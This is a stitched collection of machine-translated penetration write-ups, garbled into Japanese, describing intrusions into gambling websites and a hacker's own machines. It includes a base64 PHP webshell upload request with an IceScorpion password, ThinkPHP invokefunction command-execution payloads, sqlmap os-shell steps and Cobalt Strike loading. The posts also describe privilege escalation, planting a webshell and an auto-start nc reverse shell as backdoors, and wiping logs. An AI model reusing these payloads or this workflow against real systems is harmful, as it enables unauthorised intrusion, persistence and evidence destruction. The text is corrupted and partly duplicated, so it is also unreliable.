//statics/admin/webuploader/0.1.5/server/preview.php http/2host: {{hostname}} user-agent: mozilla/5.0(windows nt 10.0; win64; x64; Firefox/104.0ACCEPT: TEXT/HTML、APPLACE/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、*/*; Q=0.8Accept-Language: Zh-cn、zh; q=0.8、zh-tw; q=0.7、zh-hk; q=0.5、en-us; q=0.3、en; q=0.2accept-encoding: gzip、deflatednt3360 Navigatesec-fetch-site: nonesec-fetch-user: Application/x-www-form-urlencodedcontent-length: 746DATA:IMAGE/PHP; BASE64、PD9WAHAKQGVYCM9YX3JLCG9YDGLUZYGWKTSK2VZC2LVBL9ZDGFYDCGPOWOGICAGJ gtlet0iztq1ztmyowzlyjvkoti1yii7iaojjf9trvntsu9owydrj109jgtletskcsrwb3n0pwzpbgvfz2v0x2nvbnrlbnrr zkcjwaha6ly9pbnb1dcipowojawyoiwv4dgvuc2lvbl9sb2fkzwqoj29wzw5zc2wnkskkcxskckkkkkkddd0iymfzzty0xyiui mrly29kzsi7cgkjhbvvc3q9jhqojhbvvc3quiiipowojcqojcwzvcigkat0woyrpphn0cmxlbigkcg9zdck7jgkrkykgewog icagcqkjicrwb3n0wyrpxsa9icrwb3n0wyrpxv4ka2v5wyrpkzemmtvdoyakiakjcx0kcx0kcwvsc2ukcxskckkkcgg 9ZDD1VCGVUC3NSX2RLY3J5CHQOJHBVVC3QSICJBRVMXMJGILCAKA2V5KTSKX0KICAGICRHCNI9ZXHWBG9KZSGNFCCSJHBV C3QPOWOGICAGJGZ1BMM9JGFYCLSWXTSKICAGICRWYXJHBXM9JGFYCLSXXTSKCWNSYXNZIEN7CHVIBGLJIGZ1BMN0AW9UIF 9faw52b2tlkcrwkksb7zxzhbcgkcc4iiik7fx0kicagiebjywxsx3vzzxjfznvuyyhuzxcgqygplcrwyxjhbxmpowo/pg==s Image

2。ICESCORPIONは、Webシェルを取得するために接続します

Ice Scorpionデフォルト接続パスワード:Rebeyond Image

3.ヌクレイバッチ検証スクリプトは、ナレッジプラネット(多くの資産があります)で公開されています。

元のリンクで転載: https://mp.weixin.qqc.com/s?__biz=mzkymtmwnju1mg==mid=2247486261Idx=1Sn=2ea324e5b3b895bd500a509bd15ae90fchksm=c184df E2F6F356F47A5F80D045FAC890227A508488B23898482CE4F9DAA91FECC54D2F83629SCENE=178CUR_ALBUM_ID=258167779399042598912#RD

i。序文

最近、特定のQipai製品で構築されたWebサイトにはSQLインジェクションがあり、誰かがそれを送ったばかりだと聞きました。xctxkrcxje42283.png

慣習的なルーチンの侵入、シャトル情報収集- 脆弱性の検出/利用- 特権の引き上げ/承認のメンテナンス - クリーントレース

2。情報収集

kszgqsfuj5j2284.pngブラウザはホームページの予備的な発見システムにアクセスします:Windows Middleware IIS7.5言語:ASPX

ポートスキャンNMAP -SV -T4 -P- 11x.xx.xx.xx.xx 5zy4ekewruu2285.pngには多くのオープンポートがあります。その中には、いくつかのWebサービスがあります:80(現在のホームページ)、81、82、88、4700181:これはこのQipaiサイトのバックエンドです。 82:バックエンドでもあります。どんなシステムなのかわかりません。確認コード88/47001があります:アクセスに失敗しました

1433:データベースMSSQL

また、139と445を開きましたが、フィルタリングされました。ファイアウォールがあるかどうかはわかりませんので、後で見ます。

dirsearchを使用して、敏感なディレクトリを最初にスキャンします。以前に収集されたウェブサイト言語はASPX、プラス-E指定言語です

python dirsearch.py -u http://11x.xx.xxx.xx-e aspx cccws02apbk2287.png再び7kbscanを使用します。結局のところ、ここで収集された辞書は中国人によって一般的に使用されています

5enudtjvnlv2289.png/m/はユーザー登録ページです。

amnkabgudz42290.png/test.htmlは、WeChatを調整するための入り口です。役に立たない。被害者が携帯電話でチャットするように導くかもしれません。

efkkbz110d12292.png北京の特定のオペレーターのIPサーバーを確認します。国内のサーバーにWebサイトを構築することは非常に大胆です。

jtva1t55e0d2293.png情報並べ替えymptqk21pcz2295.png

おそらく自分で構築された小さなサイトです。時間を無駄にしないように、新しいものを拡張して収集することはありません。

iii。脆弱性検出

以前に見つかった81ポートに焦点を当て、ウェブサイトのバックエンド管理ページです

shbv1f0njqr2296.png検証コードなし、ユーザー名/パスワード用に管理者/管理者を書くだけで、パッケージをつかみます

5rhocro4vhn2297.pngユーザー名には見積もりがあり、エラーを返すように直接リクエストを送信しました。予期しないことが起こっていない場合は、エラーインジェクションまたはブラインドノートが必要です。

vk51u41gbap2298.pngこのデータパケットをローカルQipai.txtに保存するための2つのグループを分離し、SQLMAPを使用してスキャンします。MSSQLデータベースであり、-DBMSパラメーターがデータベースタイプを指定して時間を節約することはすでに知られています。

python sqlmap.py -r qipai.txt - dbms 'microsoft sql server' - dbs別の方法で、パッケージを侵入者モジュールに送信してパスワードを爆発させます。ブラウザにユーザー名を何気なく入力しようとしましたが、プロンプト「ユーザー名は存在しません」。管理者を入力すると、「ユーザー名またはパスワードが間違っている」というプロンプトが存在することを示し、パスワードを破裂させただけです。

xwwhislhjjo2299.pngパスワードは888999、弱いパスワード、永遠の神です!

バックグラウンドに正常にログインgayxm4aahp02300.png

登録ユーザーは69人しかなく、残りはすべてロボットです。これらの69人のユーザーは143万人に急行しましたか? Qipaiを演奏するすべての人はとても金持ちですか?私は最初の充電のために6元を請求することに耐えられないことをとてもうれしく思います

ykvftk1nhiq2301.pngギャンブルに参加できない、この男は1日で2800を失いました

o0prruwsosb2302.png長い間バックグラウンドで検索した後、アップロードポイントが見つからなかったので、最初に置きました

他のsqlmapに戻ってチェックアウトし、注入があることを確認してください。

j0h5kkc0l2o2303.pngは16のライブラリを使い果たしました。名前によれば、ryplatformmanagerdbライブラリには、管理者関連の情報が含まれている場合があります。

oi2e0ji5wjg2304.png実行時計名

python sqlmap.py -r qipai.txt - tables -d ryplatformmanagerdb 1s4w5nlu4ak2305.png長い間検索した後、私は管理者のアカウントとパスワードを見つけました。

python sqlmap.py -r qipai.txt -is-dba xbmlrzfckvl2306.pngはDBA許可です。シェルを取得してみてください。SQLMAPを使用してMSSQLデータベースのパスを直接爆破するだけです

python sqlmap.py -r qipai.txt- OS -shellが使用する死角は遅く、長い間待った後、最終的にシェルを手に入れました。それは表面上の技術的な仕事ですが、実際には物理的な仕事です

現在のユーザー許可は非常に小さく、MSSQLデータベースの許可だけです

hhjun2lg1xz2307.png

SystemInfoシステム情報を確認すると、システムが64ビットWindows Server 2008であることがわかります

Cobaltstrikeは攻撃ペイロードを生成し、ターゲットマシンにPowerShellでロードします。ターゲットマシンが正常に起動されます

bycpu3ksouw2308.png

ネットユーザービューユーザー

3yin4kn2i2c2309.pngTASKLIST表示プロセス、ソフトを殺すふりをするべきではありません

dmac4a3yutv2310.png

ネットスタートの有効なサービスを表示すると、ファイアウォールが有効になっていることがわかります。したがって、以前のNMAPスキャン445およびその他のポートがフィルタリングされています

xzka2n1f3d52311.pngファイアウォールを閉じて、右はまだ上がっていません

ej3tjqdj4dv2312.png

iv。権利を引き上げる/weiの権利

このマシンはWindows Server 2008であることを以前に学んだので、ジャガイモを使用して権利を増やそうとしました(MS16-075)

xou4kdhiu5l2313.png実行後、しばらく待ちました。私は幸運でした。マシンはパッチを適用されず、当局は一度に成功裏に提起されました。私はシステムの権限を取得し、自分が望むことを何でも始めました。

klqjr4dli452314.pngファイル管理を入力すると、以前の情報が収集されたときにtest.htmlファイルを見ることができます。

zsmpakxivv12315.pngNETSTAT -ANOポートオープニングの状況をチェックしてください、3389が開かれていません

a0kwytr32mr2316.png

手動でオンにします

tiaytfonaad2317.pngリモートデスクトップにアクセスできます

twgenv2r21i2318.pngCOBALTSTRIKE私はそれを操作するのにあまり熟練していないので、MetaSploiteを使用してCSを介してMSFによって生成された馬をアップロードする必要があり、MSFは監視を可能にします

注:CSはシェルをMSFに直接導き出すことができますが、長い間試してみてセッションを返さないので、MSFの馬曲線をアップロードして国を救う以外に選択肢がありませんでした。

lzkxzk4kmx22319.pngMSF監視を有効にします

1dy203ssbjl2320.png CSでアップロードされた馬を実行します

itr45e0lxd12321.pngMSFシェルが正常に取得されました。

c5m5r2msdsm2322.pngパスワードハッシュを見る、MSFの馬は32ビットで、システムは64ビットであるため、取得できません

vjojv33nrkt2323.pngPSプロセスを表示し、プロセスでシステムの許可を得て実行されている64ビットプログラムを見つけてから、プロセスを移行した後にハッシュを取得します15oj4hcf1nf2324.png

オンラインでハッシュをクラックするWebサイトに移動して、管理者のパスワードを確認します。パスワードは複雑ではなく、数秒で見つけることができます。

4azfylwyykg2325.pngSUCCESSISSEESTISSESSEESTISE SUCTESSISTESTESTERTERIME LOGNETERITE DESKTOP

hlzj2ku2tvz2326.pngリバウンドシェル用の2つのバックドア、1つのウェブシェル、1つのセルフスタートNCを残してください

l4hemd3jdao2327.png

5。トレースをクリーンアップしてリトリート

MeterPreterのClearVコマンドは、ワンクリックでクリアされています

cquedrsv3zp2328.png

または、Windowsログを手動で削除します

1n2s45jksq02329.png

six.summary

cboqdascfry2330.png

7。実験的推奨

SQLMAPを使用した手動注射

https://www.hetianlab.com/expc.do?ec=ecid172.19.104.182015011915533100001pk_campaign=freebuf-wemedia

この実験の研究を通じて、SQLMAPを理解し、一般的に使用されるSQLMAPのコマンドをマスターし、SQLMAPを使用して注射を手動で支援することを学ぶことができます。

元のリンクから転載:

https://www.freebuf.com/articles/network/250744.html

1。誤ってほうれん草のサイトを見つけてからテストしました。アイデアは次のとおりです。ほうれん草のサイトであるため、ユーザーは間違いなく登録します。そうでなければ、どのようにお金を請求できますか?ユーザーと強く対話するページを登録する場合、脆弱性の可能性は次のとおりです。

SQLインジェクション:ユーザーが入力したアカウント情報が、フィルタリングなしでデータベースを書き込みまたはクエリするために直接使用されている場合、SQLインジェクションXSSが必要です。入力ボックスに入力された個人情報がユーザーのページに表示されます。同時に、管理者はバックグラウンドでユーザーの個人情報を表示する許可を持たなければならず、ここにストレージXSSがある場合があります。そのようなサイトにはカスタマーサービスがあるため、反射的またはDom XSSであっても、Cookieやその他の目的を盗む目的を達成するために、顧客をトリックしてリンクをクリックしてリンクをクリックする方法を見つけることができます。並行したオーバーライトの権利:ユーザーがログインし、ログイン後に特定のページをチェックしてからパケットをキャッチすると、同様のIDフィールドがある場合、ID番号CSRFを変更することにより、他のユーザーや管理者の情報が表示される場合があります。または、メールアドレスを変更してから、メールアドレスを介してパスワードを変更します。支払いの脆弱性:パケットをキャッチしてパラメーターを変更し、0元を支払います。このアイデアに従ってください。3つまたは7つか7つまたは2つのいずれかに関係なく、最初に登録ページを試すツールに移動します。結果は次のとおりです。

gjx4zlglzbj1866.png

(1)最初に2番目のものを見てみましょう。プロンプトパラメーターを検出ツールのペイロードに変更した後、ページは次のとおりです。ペイロードは実際にフィルタリングなしでページに表示されるので、とても幸せです。

l2woohptcwk1867.png

ペイロード自体はJS内にあるため、スクリプトタグは最初に作成されませんでしたが、「19736%0A」、}%0AALERT(666);%0A 'などのペイロードを直接使用しました。ペイロードの目的は、アラート(666)をバックグラウンドの元のスクリプトタグに直接公開することですが、それらの多くを繰り返し試すことはできませんでした。思考を調整して、スクリプトタグを再構築することしかできませんでした。今回は、次のように成功しました。これは、このXSSに誤ったアラームがないことを意味します。

pvs243o3fco1868.png

もう1つはクッキーにあります。 SessionIDが変更された場合、ページのHTMLソースコードにも直接表示される可能性があります。上記の最初のものと同様に、独自のJSコードを実行するためにスクリプトを構築できます。ただし、バックグラウンドソースコードがわからないため、これがストレージ型XSSであるかどうかを判断することはできず、他の人がURLの構築をクリックしてクリックすることはできません。私は個人的にそれがあまり意味がないと思うので、私はもうここでそれを確認しません。

0niyhopxmy51869.png

バックグラウンドにログインすることはできないため、他のXSSがストレージタイプであるかどうかはまだ不明です。この段階では、他のXSSの脆弱性を引き続き検証しません。

cumjx1tvu5u1870.png

(2)ログインインターフェイスがパケットをキャプチャし、ユーザー名とパスワードは実際にはプレーンテキスト、WTFで送信されます.

ih4of4b4lpe1871.png

手放した後、私は新しいパッケージをキャッチし、リピーターに入れて試してみてください。フィールドキャプチャがあります。これが検証コードです。削除した後、サーバーはとにかくそれを実行し、検証コードが間違っていることを促しませんが、ユーザー名またはパスワードが間違っているため、多くのトラブルが節約されます。最初に正しいアカウントを使用してテストし、返されたステータスがyであることがわかります。すべてが正常であることがわかります。

4kt4lbux2se1872.png

次に、単一の引用符、二重引用符、ブラケット、 ')または1=1でさまざまなSQL注入ペイロードを試してみます - QWEおよびその他のSQLインジェクション、そしてリターンは次のとおりです。

2ivly1eou2h1873.png

右側のネイティブコードの文字列は:です。「4〜15文字を入力してください。英語の文字と番号のみを入力できます」。フィルタリングすることは意図的であり、文字と数字のみを入力することができ、特別なシンボルを入力することはできません。また、SQL注入がここに存在しない可能性が高い。 (一部のWebサイトのフロントエンドページも説明しており、実際にバックエンドサーバー側でチェックされており、JSを使用してフロントエンドをチェックすることはできません。

nj0bf1dsot51874.png

(3)並列/垂直のオーバーリーチ:ログインした後、一部のサイトは、UID=123、GroupID=456、Telno=135000387465など、CookieにさまざまなIDをもたらします。フィールドの意味を簡単に確認でき、値を変更した後、他のユーザーのデータを確認します。しかし、ここのCookieはすべてセッションであり、さまざまな数字を持つフィールドは意味が何であるかを見ることができません。 Burpを使用してさまざまな値を試し、Status:Nを返します。これも従うことも不可能です。

(4)0 Yuan支払い:支払いインターフェイスでパケットをつかみ、リクエストパケットのコンテンツをデコードし、内部に別のサインフィールドがあることを確認し、他のフィールドがチェックされます。金額が変更された場合、検証アルゴリズムを逆にしてから、符号値を再計算する必要があります。ここでは一時的にあきらめます。 PS:user_idが最終的にここに公開されます。

ahehndo4ldk1875.png

3。Xrayスキャンを通じて、樹脂ビューファイルの脆弱性が見つかりました。

1rrlgobizis1876.png

ファイル=xxxxのコンテンツを変更するスキャンプロンプトによると、以下の構成ファイルなどのファイルを実際に見つけることができます。

upf1ihnz42k1877.png

ktmc1fcqnk21878.png

dr2splivcq11879.png

この脆弱性は、イントラネットファイルを横断できるSSRFに似ています。次に、GitHubで搾取のためのツールを見つけ、Burpを使用して辞書の徹底的なディレクトリとファイルを1つずつ実行しますが、次のファイルのみが見つかりました。これらはすべて通常のファイルとパスであり、予想される構成(アカウントなど)が見つかりませんでした。

dwmdevmylho1880.png

Cドライブを通過したい場合は、保護されているようです。

u4ljowuvywc1881.png

この抜け穴は一時的に放棄されます。

4。今のところ、XSSのみを使用できることがわかっており、それも反射的です。 XSSプラットフォームを見つけて、Cookieを盗み、XSSの脆弱性を備えたURLに埋め込んだスクリプトタグを生成し、カスタマーサービスMMを見つけてクリックしてクリックします。その結果、カスタマーサービスMMは愚か者に落ちなかっただけでなく、新しいサイトをもう一度試してみるための新しいリンクを送ってくれました。

さて、もう一度やり直して、新しいサイトを構築し続けます。アカウントで新しいサイトにログインした後、私は主にユーザーと対話するページを探します(多くのパラメーターが関係しており、変更の余地がたくさんあり、脆弱性の可能性は静的なWebページの可能性よりもはるかに大きいです)。私は多くの時間を費やし、無数のリンクをチェックしましたが、次のようにターニングポイントがあるように見えました。

dduvjp4ykjo1882.png

これは、アカウント名、電話番号、ニックネーム、アクセス許可などのさまざまな機密データを含むJSON文字列であり、URLにクライアントキーワードがあります。これはユーザー情報を表示するためのインターフェイスですか?すぐにBurpを使用してパケットをつかみ、URL内の純粋な数値のパラメーターを変更します(純粋な数字はインデックス作成を意味し、網羅的になりやすいです)。予想どおり、登録されたユーザーの情報は爆破されました。

ntg4t2452wr1883.png

5.さらに、CORSの脆弱性(CSRFのタイプ)もXrayを通じて発見されました。また、プラットフォーム上の顧客、管理者、または他のユーザーをクリックする方法を見つける方法も見つける必要があります。当面はここに行きません。

3iofj3zy1do1884.png

このほうれん草サイトの概要:1。ユーザーはフォームの入力を厳密に制限しており、SQL注入とXSSの両方がブロックされています。 2.樹脂の脆弱性は痛みを伴わず、機密データを取得できません。 3。支払い:標識フィールドの検証があり、検証アルゴリズムを最初にクラックする必要があります。 4。最終的に、ページはパラメーターを渡しましたが、チェックしませんでした。一部のユーザー情報は、数値パラメーターの値を変更することで爆破されました。 5.それはビジネス上の理由のためかもしれません。フロントエンドページはまだファイルをアップロードする場所を見つけていませんが、Xiaomaをアップロードする方法を見つけることはまだ不可能です。

参照:1。https://blkstone.github.io/2017/10/30/resin-attack-vectors/樹脂サービスに対する攻撃ベクトル照合

元のリンクアドレスから転載:https://www.cnblogs.com/theseventhson/p/13738535.html

私は誤ってThinkPhpのほうれん草のサイトを発見しました。最近TPに抜け穴はありませんでしたか?

それから私はそれをさりげなくテストしましたが、プロセスはそれほどスムーズではありませんでしたが、ついに勝ちましたので、私は自分のアイデアを共有するためにこの記事を投稿しました。

0x00ワンクリックゲッシェル

短い見方の後、多くの人がプレイするはずですよね?

1049983-20240105093324133-383409570.png数日前、私はテストツールを書き、最初にテストするためにそれを取り出しました。

このツールは脆弱性を示しています

1049983-20240105093335090-2095780538.pngワンクリックゲッシェル、非常に滑らかに見えます、ハハ。

1049983-20240105093335989-559902528.pngしかし. Xiao Mingは髪を振って、物事が単純ではないことを発見しました。

1049983-20240105093336787-674964719.png包丁が接続されている場合、500のエラーが返されます。

1049983-20240105093337570-1853999192.png FirefoxのHackbarを使用して確認しました。それには何の問題もないので、なぜ包丁をつなげることができないのですか?

ケチな人として、私は深い考えに陥らざるを得ませんでした.

1049983-20240105093338367-558319976.png

0x01開始分析

私はこのツールを自分で書いたので、上記の写真から3番目の経験が呼ばれていることを発見したので、それを分析して見てみましょう。

次のようにPOC

/?s=index/\ think \ app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1] []=dir

POCの後にWhoamiを入力して、権限を確認しましょう。

/?s=index/\ think \ app/invokeFunctionFunction=call_user_func_arrayvars [0]=systemvars [1] []=whoami

IIS許可

ただし、Echo Dirなど、一部のコマンドを実行できます。

1049983-20240105093339418-1872353037.png

0x02シェルを突破してみてください

エコーを実行できるので、ポニーを書くことができます。それが成功した場合、私たちはポニーを使用してポニーをアップロードしてそれを行い、それを言うとすぐにそれを行います。大変な作業が来たら、列に並んで書かなければなりません。

注:コードのシンボルは^^で逃げる必要があります。たとえば、PHPは^^?phpに逃げました

1049983-20240105093340495-1537021683.png行ごとの執筆が完了した後、アクセスするときに正常に実行できないことがわかりました。ここでスクリーンショットを撮るのを忘れました。

次に、次の方法を使用してファイルをサーバーにダウンロードしようとしましたが、失敗しました。

1049983-20240105093351352-1328543067.png私があきらめようとしていたとき、私はまだ役に立たないダウンロードコマンドがあったことを思い出しました。

それはcertutil.exeです

それを行うだけで、マレーシアをサーバーに置き、HFSを有効にしてください。

次に、次のコマンドを実行します。

1049983-20240105093352245-99523761.pngはマレーシアに成功しましたが、あまりにも早く幸せにならないでください。

1049983-20240105093353277-1543002363.png Xiao Mingは再び髪を振って、物事がさらに難しいことを発見しました.

1049983-20240105093354070-918181612.pngマレーシアはファイルのアップロードを操作して名前を変更するなどしますが、ファイルを編集できず、ファイルソースコードなどを表示できません。クリックして空白スペースを表示します。

1049983-20240105093354903-784253893.pngそうなので、データベースに行き、見てみましょう。

TPのデータベース構成ファイルが次の場所にあることは誰もが知っています

/application/database.php

マレーシアを開くことができないため、TPコマンドを使用して脆弱性を実行し、Typeコマンドを使用してこのファイルを読み取ることができます。

/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1]

読み取りの試みは失敗し、コピーコマンドが頭に浮かぶようになりました。

database.phpをWebルートディレクトリにコピーし、名前を1.txtに変更します

/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1]]

コピーした後、URL/1.TXTにアクセスして、それが空であることがわかります。

0x03成功したブレークスルー

一連の障害を経験した後、私は落ち着いて考えました。また、File_Pathを使用してソースコードを読み取ることもできます。

1049983-20240105093405723-1104995441.png DAMAを使用して、このファイルをルートディレクトリにアップロードしてからアクセスし、データベース構成情報を正常に取得します。

1049983-20240105093407641-1694905724.png次に、構成情報を入力してデータベースを入力します。

1049983-20240105093408996-20299154.png 1049983-20240105093415084-497983513.pngこの記事が書かれた夜遅くすでにありました。私はテーブルの上でインスタント麺の半分を食べたインスタント麺を見て、最後に2杯のスープを飲み、電話をオフにして寝ました.

元のリンクから転載:https://www.jiansshu.com/p/1f9b02780f1c

01序文

最近さまよっています。私はたまたま経験プログラマーを雇って経験を奪うのを手伝っていたグループの誰かに会いました。 0日を集めました。また、最近書く記事がないと感じたので、社会で大物を試しました。

まず、ルーチンについて尋ねて、彼が何をしているのか見てみましょう。

1049983-20240509092510634-1287905194.jpg

この人は、batchexpを書くのを手伝ってくれる人を見つけたいと思っています

4uhkku1b4vj1240.png

それから、私が書くことができるふりをし、最初にトリックを作り、役割に入り、相手に私が本当に書くことができると思わせます。

3upg5q22mks1243.png

ここで、私は自分でテスト用のサイトを構築したと言った後、シェルをリンクして試してみるように頼みました。大丈夫ですか!

eppljet5wb21246.png

その後、ターゲットはオンラインではなく、彼は私が構築したサイトを他の2人の男性に送りました。

hq5xhbhmtnb1247.png

02テクノロジー番号1

私のソーシャルワーカーの特定の従業員のこの従業員は、実際にテクノロジーを理解していませんでした。彼は私のフィッシングページを彼らの下の2人の技術者に送りました。そのうちの1つはおそらく仮想マシンであり、もう1つは物理マシンでした。だから私はここで釣りを一つしか持っていません。

ここにはオンラインで2つのPCがあり、統一された外部IPエクスポートとカンボジアディスプレイの場所があります。それが真実かどうかは不明です。この人は、私たちがスクリプトキッドハッカーと呼んでいるものです。彼のPCが持っている情報をお見せしましょう。

wyzcp33y2pb1248.png

スクリプトトロイの木馬

nk1t11idlnj1250.png

あらゆる種類の本名証明書

10o4erlsfxg1253.png

さまざまなバッチハッキングツール

lapga1xujz21256.png

ブラックハットSEOキーワード

n0hbiuzz3bq1258.png

侵入に使用されるさまざまなVPSマシン

512i2vyqniv1259.png

さまざまなWebサイトを説明します

nihjuzj42k41260.png

03イントラネットの拡張と浸透

各プロセスには、一連の環境変数とその値を含む環境ブロックがあります。環境変数には、ユーザー環境変数とシステム環境変数の2種類があります。

ARP -Aが見ました。次のマシンが発見されました。 10ユニット以上。

192.168.1.1 78-44-FD-FD-55-B9ダイナミック

192.168.1.13 6C-8D-C1-18-AA-B2ダイナミック

192.168.1.24 DC-2B-2A-C2-22-15ダイナミック

192.168.1.42 8C-8E-F2-4F-26-8Fダイナミック

192.168.1.54 B0-FC-36-29-F7-AB AB Dynamic

192.168.1.62 B4-D5-BD-B2-29-E2ダイナミック

192.168.1.81 38-53-9C-EE-31-7Eニュース

192.168.1.83 38-71-DE-13-4F-D8ダイナミック

192.168.1.92 CC-29-F5-BC-B8-C1ダイナミック

192.168.1.119 CC-44-63-18-08-4Cダイナミック

192.168.1.137 6C-72-E7-5E-F9-7Eダイナミック

192.168.1.143 A4-D9-31-89-3D-C4ダイナミック

192.168.1.149 48-3B-38-45-4D-22ダイナミック

192.168.1.171 CC-29-F5-78-70-87ダイナミック

192.168.1.178 00-B3-62-7D-F6ダイナミック

192.168.1.206 B0-FC-36-30-79-7Bダイナミック

192.168.1.233 E4-F8-9C-9F-61-FEダイナミック

192.168.1.243 DC-41-5F-05-FE-EFダイナミック

192.168.1.255 ff-ff-ff-ff-ff-ff-ff-ff-ff static

224.0.0.22 01-00-5E-00-00-16静的

224.0.0.252 01-00-5E-00-00-FC静的

224.210.34.44 01-00-5E-52-22-2C静的

239.11.20.1 01-00-5E-0B-14-01静的

239.255.255.250 01-00-5E-7F-FF-FA静的

255.255.255.255 ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-fif static

現在計算されているWiFiアカウントのパスワードを読んで読んでください

Netsh WLANはプロファイルを表示します

すべてのユーザープロファイル: 2317RL-5G

すべてのユーザープロファイル: 2317-ATA-5G

すべてのユーザープロファイル: Huawei-D91c

すべてのユーザープロファイル: TP-Link_6a68

すべてのユーザープロファイル: airtel-e5573-8318

すべてのユーザープロファイル: TP-LINK_88T8

すべてのユーザープロファイル: TB-Link-96A9

netsh wlan showプロフィール名='上記の画像の構成ファイル名を入力してください'

lis0oar2dy01261.png

情報を収集し続けます

これは、ネットワークに行くハッカーです

uedwaawjzdk1262.png

04 second

3日間の監視の後、ハッカーの収益性が発見されました。この人は、次のようにBCのプロキシ管理プラットフォームを開設しました。

3aevvqjec2u1263.png

彼のアカウントを分析した後、彼はそれがエージェントアカウントであることを発見しました。次に、分析のためにアプリをダウンロードします。上記はすべて、タイム宝くじと競馬のようなギャンブルゲームです。しかし、彼はレーシングカーです。背景は、多くのロボットを生成して、多くの人があなたと遊んでいることを作り出します。

uikcujnsz0j1264.png

ロボットだけで240以上に達しました

オンラインでは10人未満の実際のユーザーがいます

n5hmnmqdhwf1266.png

io1wxnzloal1267.png

ハッカーの毎日の仕事は次のとおりです。

最新のUEDITORアップロード脆弱性、IIS7.5の脆弱性の解析、DEDECMSの脆弱性、およびその他のバッチの脆弱性など、0Dayの脆弱性を通じて、

最も一般的に使用されるツールは、バッチツールです

djs3qzjlphm1269.png

flsxoprnuyr1272.png

hlx03ciraww1275.png

次に、BCページをアップロードし、ユーザーにアプリをダウンロードしてから、エージェントとして行動している部屋に入ります。このようにして、部屋のユーザーが充電するお金はエージェントにカウントされ、それによって収益性を達成します

現在のところ、ハッカーはまだIIS7.5の解像度の脆弱性を実行しています。

qizshbihwuy1277.png

UEDITORのアップロード脆弱性をバッチするために、300を超えるW URLがインポートされています。

元のリンクアドレス:https://www.hackdoor.org/d/216-bc

01序文

最近さまよっています。私はたまたま経験プログラマーを雇って経験を奪うのを手伝っていたグループの誰かに会いました。 0日を集めました。また、最近書く記事がないと感じたので、社会で大物を試しました。

まず、ルーチンについて尋ねて、彼が何をしているのか見てみましょう。

1049983-20240509092510634-1287905194.jpg

この人は、batchexpを書くのを手伝ってくれる人を見つけたいと思っています

ued0003o3hh11319.png

それから、私が書くことができるふりをし、最初にトリックを作り、役割に入り、相手に私が本当に書くことができると思わせます。

uxmejyuamfc11321.png

ここで、私は自分でテスト用のサイトを構築したと言った後、シェルをリンクして試してみるように頼みました。大丈夫ですか!

ytujs514m1y11323.png

その後、ターゲットはオンラインではなく、彼は私が構築したサイトを他の2人の男性に送りました。

el0uabesgdx11325.png

02テクノロジー番号1

私のソーシャルワーカーの特定の従業員のこの従業員は、実際にテクノロジーを理解していませんでした。彼は私のフィッシングページを彼らの下の2人の技術者に送りました。そのうちの1つはおそらく仮想マシンであり、もう1つは物理マシンでした。だから私はここで釣りを一つしか持っていません。

ここにはオンラインで2つのPCがあり、統一された外部IPエクスポートとカンボジアディスプレイの場所があります。それが真実かどうかは不明です。この人は、私たちがスクリプトキッドハッカーと呼んでいるものです。彼のPCが持っている情報をお見せしましょう。

3vhhfx0qews11327.png

スクリプトトロイの木馬

m2tjqxor2hl11329.png

あらゆる種類の本名証明書

obxthatll4011331.png

さまざまなバッチハッキングツール

vkmdxgyqpix11333.png

ブラックハットSEOキーワード

wultsnlyxjq11336.png

侵入に使用されるさまざまなVPSマシン

nn21luswd0j11338.png

さまざまなWebサイトを説明します

0wrnk1xblj511340.png

03イントラネットの拡張と浸透

各プロセスには、一連の環境変数とその値を含む環境ブロックがあります。環境変数には、ユーザー環境変数とシステム環境変数の2種類があります。

ARP -Aが見ました。次のマシンが発見されました。 10ユニット以上。

192.168.1.1 78-44-FD-FD-55-B9ダイナミック

192.168.1.13 6C-8D-C1-18-AA-B2ダイナミック

192.168.1.24 DC-2B-2A-C2-22-15ダイナミック

192.168.1.42 8C-8E-F2-4F-26-8Fダイナミック

192.168.1.54 B0-FC-36-29-F7-AB AB Dynamic

192.168.1.62 B4-D5-BD-B2-29-E2ダイナミック

192.168.1.81 38-53-9C-EE-31-7Eニュース

192.168.1.83 38-71-DE-13-4F-D8ダイナミック

192.168.1.92 CC-29-F5-BC-B8-C1ダイナミック

192.168.1.119 CC-44-63-18-08-4Cダイナミック

192.168.1.137 6C-72-E7-5E-F9-7Eダイナミック

192.168.1.143 A4-D9-31-89-3D-C4ダイナミック

192.168.1.149 48-3B-38-45-4D-22ダイナミック

192.168.1.171 CC-29-F5-78-70-87ダイナミック

192.168.1.178 00-B3-62-7D-F6ダイナミック

192.168.1.206 B0-FC-36-30-79-7Bダイナミック

192.168.1.233 E4-F8-9C-9F-61-FEダイナミック

192.168.1.243 DC-41-5F-05-FE-EFダイナミック

192.168.1.255 ff-ff-ff-ff-ff-ff-ff-ff-ff static

224.0.0.22 01-00-5E-00-00-16静的

224.0.0.252 01-00-5E-00-00-FC静的

224.210.34.44 01-00-5E-52-22-2C静的

239.11.20.1 01-00-5E-0B-14-01静的

239.255.255.250 01-00-5E-7F-FF-FA静的

255.255.255.255 ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-fif static

現在計算されているWiFiアカウントのパスワードを読んで読んでください

Netsh WLANはプロファイルを表示します

すべてのユーザープロファイル: 2317RL-5G

すべてのユーザープロファイル: 2317-ATA-5G

すべてのユーザープロファイル: Huawei-D91c

すべてのユーザープロファイル: TP-Link_6a68

すべてのユーザープロファイル: airtel-e5573-8318

すべてのユーザープロファイル: TP-LINK_88T8

すべてのユーザープロファイル: TB-Link-96A9

netsh wlan showプロフィール名='上記の画像の構成ファイル名を入力してください'

vnjiduymdke11341.png

情報を収集し続けます

これは、ネットワークに行くハッカーです

ejypho3p4lk11342.png

04 second

3日間の監視の後、ハッカーの収益性が発見されました。この人は、次のようにBCのプロキシ管理プラットフォームを開設しました。

l5hbfzic0gv11343.png

彼のアカウントを分析した後、彼はそれがエージェントアカウントであることを発見しました。次に、分析のためにアプリをダウンロードします。上記はすべて、タイム宝くじと競馬のようなギャンブルゲームです。しかし、彼はレーシングカーです。背景は、多くのロボットを生成して、多くの人があなたと遊んでいることを作り出します。

pngnjyqp5f011344.png

ロボットだけで240以上に達しました

オンラインでは10人未満の実際のユーザーがいます

